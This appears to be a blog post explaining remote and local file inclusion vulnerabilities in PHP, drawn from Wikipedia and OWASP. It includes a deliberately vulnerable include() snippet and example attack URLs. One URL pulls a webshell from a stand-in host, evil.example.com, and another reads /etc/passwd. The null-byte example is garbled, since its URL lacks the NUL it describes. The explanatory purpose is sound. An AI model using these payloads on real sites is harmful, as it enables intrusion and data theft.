Way To Hackintosh

<div dir="ltr" style="text-align: left;" trbidi="on">
File inclusion vulnerability is a type of vulnerability most often found on websites.  
 
It allows an attacker to include a file, usually through a script on the web server.  
 
The vulnerability occurs due to the use of user-supplied input without 
proper validation.  
 
This can lead to something as minimal as outputting 
the contents of the file or more serious events such as: 
 
<ul>
<li>Code execution on the web server</li>
<li>Code execution on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS)</li>
<li>Denial of service (DoS)</li>
<li>Data theft/manipulation</li>
</ul>
 In <a href="http://en.wikipedia.org/wiki/PHP" title="PHP">PHP</a> the main cause is due to the use of unvalidated external variables such as $_GET, $_POST, $_COOKIE with a filesystem function. Most notable are the <code>include</code> and <code>require</code> statements 
 
<h4>
Example</h4>
<div class="mw-geshi mw-code mw-content-ltr" dir="ltr">
<div class="php source-php">
<pre class="de1"><?php
 if ( isset( $_GET['COLOR'] ) ) {
 include( $_GET['COLOR'] . '.php' );
 }
?>
</pre>
</div>
</div>
<div class="mw-geshi mw-code mw-content-ltr" dir="ltr">
<div class="html5 source-html5">
<pre class="de1"><form method="get">
 <select name="COLOR">
 <option value="red">red</option>
 <option value="blue">blue</option>
 </select>
 <input type="submit">
</form>
</pre>
</div>
</div>
<h4>
 Then hacker will include its infected page or file in to webserver </h4>
<ul>
<li><code>/vulnerable.php?COLOR=http://evil.example.com/webshell.txt?</code> - injects a remotely hosted file containing a malicious code. </li>
<li><code>/vulnerable.php?COLOR=C:\\ftp\\upload\\exploit</code> - Executes code from an already uploaded file called exploit.php (local file inclusion vulnerability)</li>
<li><code>/vulnerable.php?COLOR=C:\\notes.txt</code> - example using NULL meta character to remove the <code>.php</code>
 suffix, allowing access to files other than .php. (Enabling 
magic_quotes_gpc limits the attack by escaping special characters, thus 
disabling the use of the NUL terminator)</li>
<li><code>/vulnerable.php?COLOR=/etc/passwd</code> - allows an attacker to read the contents of the passwd file on a UNIX system directory traversal. </li>
</ul>
<h4>
 </h4>
<h4>
the given method which we are using to include have some validation to prevent this kind of attack  </h4>
<div style="text-align: right;">
 source:-<a href="http://en.wikipedia.org/wiki/File_inclusion_vulnerability" target="_blank">wiki</a> , <a href="https://www.owasp.org/index.php/Testing_for_Remote_File_Inclusion" target="_blank">owasp</a></div>
</div>

what is RIF ? - Remote File Inclusion

Admin Jixxi 0 EXPLANATION, EXPLANATION ABOUT, vulnerablity

File inclusion vulnerability is a type of vulnerability most often found on websites. It allows an attacker to include a file, usually through a script on the web server. The vulnerability occurs d…

what is RIF ? - Remote File Inclusion

MIUI 8 Global Beta ROM 6.7.5 Released

Popular Posts

Blog Archive